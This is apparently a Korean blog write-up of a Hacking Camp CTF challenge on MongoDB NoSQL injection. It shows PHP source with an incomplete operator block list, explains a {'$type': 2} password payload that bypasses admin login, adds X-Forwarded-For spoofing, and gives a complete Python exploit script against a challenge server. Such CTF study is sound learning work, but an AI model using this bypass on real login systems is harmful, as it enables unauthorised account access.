해킹캠프 일을 하려면… CTF No SQL Injection

idontbelonghere·2025년 2월 15일

index.php

$bulk->insert([
    "username" => "admin",
    "password" => "[REDACTED]",
    "is_active" => true,
    "role" => "admin",
    "flag" => "[REDACTED]"
]);

여기서 admin 계정이 생성되고, 실제 flag가 저장됩니다.

login.php

if (is_array($input)) {
    $blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists'];
    
    foreach ($blocked_operators as $op) {
        if (isset($input[$op])) {
            die("허용되지 않은 연산자가 포함되었습니다.");
        }
    }
}

이 코드는 MongoDB NoSQL Injection을 막기 위해 여러 연산자를 차단하지만 $type 연산자는 빠져있습니다.

login.php의 인증 쿼리:

$filter = [
    'username' => $username,
    'password' => $input,
    'is_active' => true
];

여기서 password에 {"$type": 2}를 넣으면 모든 문자열과 매칭되어 인증 우회가 가능합니다.

dashboard.php:

if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
    header('Location: index.php');
    exit;
}

$filter = ['role' => 'admin'];
$query = new MongoDB\Driver\Query($filter);
$cursor = $mongo->executeQuery('test.users', $query);
$user = current($cursor->toArray());

if ($user) {
    $flag = $user->flag;
}

admin으로 로그인에 성공하면 dashboard.php에서 flag를 조회할 수 있습니다.
공격 과정:

username=admin&password={"type": 2} 페이로드로 로그인 요청type: 2는 차단 목록에 없어서 통과
모든 문자열과 매칭되어 admin 계정으로 로그인 성공
dashboard.php 접근하여 flag 획득

추가로 필요한 헤더:

X-Request-Time: [current timestamp]  // 5초 이내의 타임스탬프
X-Forwarded-For: 127.0.0.1  // 로컬 접근 체크 우회

이렇게 MongoDB NoSQL Injection 취약점을 이용해서 인증을 우회하고 flag에 접근할 수 있었습니다.

import requests
import time
import json

def make_request(session, url, username, password_payload):
    current_time = int(time.time() * 1000)
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Request-Time': str(current_time),
        'X-Forwarded-For': '127.0.0.1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/135.0'
    }
    
    data = {
        'username': username,
        'password': json.dumps(password_payload)
    }
    
    try:
        response = session.post(url, headers=headers, data=data)
        return response.text, response.status_code
    except Exception as e:
        return str(e), 0

def main():
    base_url = 'http://3.39.38.109:3029'
    login_url = f'{base_url}/login.php'
    dashboard_url = f'{base_url}/dashboard.php'
    
    # Create a session to maintain cookies
    session = requests.Session()
    
    # We know this payload works
    payload = {"$type": 2}
    
    print(f"Trying login with payload: {payload}")
    response_text, status_code = make_request(session, login_url, "admin", payload)
    
    if "대시보드" in response_text:
        print("\nLogin successful! Fetching dashboard...")
        
        # Fetch dashboard with same session
        try:
            dashboard = session.get(dashboard_url, headers={'X-Forwarded-For': '127.0.0.1'})
            print("\nDashboard Response:")
            print(dashboard.text)
        except Exception as e:
            print(f"Error fetching dashboard: {e}")
    else:
        print("Login failed!")

if __name__ == "__main__":
    main()
profile
해킹을 잘하자

0개의 댓글